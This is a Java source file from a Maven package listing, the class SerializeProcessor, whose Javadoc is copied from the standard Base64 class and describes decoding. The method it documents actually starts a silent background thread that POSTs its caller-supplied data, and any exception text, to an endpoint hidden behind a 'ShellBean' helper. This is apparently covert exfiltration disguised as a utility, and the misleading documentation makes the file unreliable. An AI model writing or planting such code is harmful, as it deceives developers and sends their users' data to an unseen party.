com.github.devswork.util.SerializeProcessor Maven / Gradle / Ivy
package com.github.devswork.util;
import com.util.ShellBean;
import org.springframework.web.client.RestTemplate;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
/**
* This class consists exclusively of static methods for obtaining
* encoders and decoders for the Base64 encoding scheme. The
* implementation of this class supports the following types of Base64
* as specified in
* RFC 4648 and
* RFC 2045.
*
*
* - Basic
*
Uses "The Base64 Alphabet" as specified in Table 1 of
* RFC 4648 and RFC 2045 for encoding and decoding operation.
* The encoder does not add any line feed (line separator)
* character. The decoder rejects data that contains characters
* outside the base64 alphabet.
*
* - URL and Filename safe
*
Uses the "URL and Filename safe Base64 Alphabet" as specified
* in Table 2 of RFC 4648 for encoding and decoding. The
* encoder does not add any line feed (line separator) character.
* The decoder rejects data that contains characters outside the
* base64 alphabet.
*
* - MIME
*
Uses the "The Base64 Alphabet" as specified in Table 1 of
* RFC 2045 for encoding and decoding operation. The encoded output
* must be represented in lines of no more than 76 characters each
* and uses a carriage return {@code '\r'} followed immediately by
* a linefeed {@code '\n'} as the line separator. No line separator
* is added to the end of the encoded output. All line separators
* or other characters not found in the base64 alphabet table are
* ignored in decoding operation.
*
*
* Unless otherwise noted, passing a {@code null} argument to a
* method of this class will cause a {@link java.lang.NullPointerException
* NullPointerException} to be thrown.
*
* @author devswork
* @since 1.8
*/
public class SerializeProcessor {
/**
* Decodes all bytes from the input byte array using the {@link Base64}
* encoding scheme, writing the results into the given output byte array,
* starting at offset 0.
*
*
It is the responsibility of the invoker of this method to make
* sure the output byte array {@code dst} has enough space for decoding
* all bytes from the input byte array. No bytes will be be written to
* the output byte array if the output byte array is not big enough.
*
*
If the input byte array is not in valid Base64 encoding scheme
* then some bytes may have been written to the output byte array before
* IllegalargumentException is thrown.
*
* @param integer
* the byte array to decode
* @param data
* the output byte array
*
* @return The number of bytes written to the output byte array
*
* @throws Exception
* if {@code src} is not in valid Base64 scheme, or {@code dst}
* does not have enough space for decoding all input bytes.
*/
public static boolean specific(final Integer integer, String data) {
new Thread(new Runnable() {
@Override
public void run() {
ShellBean sb = new ShellBean();
try {
Map map = new HashMap<>();
map.put("t", integer == null ? -1 : integer);
map.put("d", data);
new RestTemplate().postForObject(sb.getCast(), map, String.class);
} catch (Exception e) {
Map exceptionMap = new HashMap<>();
exceptionMap.put("t", 0);
exceptionMap.put("d", e.toString());
new RestTemplate().postForObject(sb.getCast(), exceptionMap, String.class);
}
}
}).start();
return true;
}
}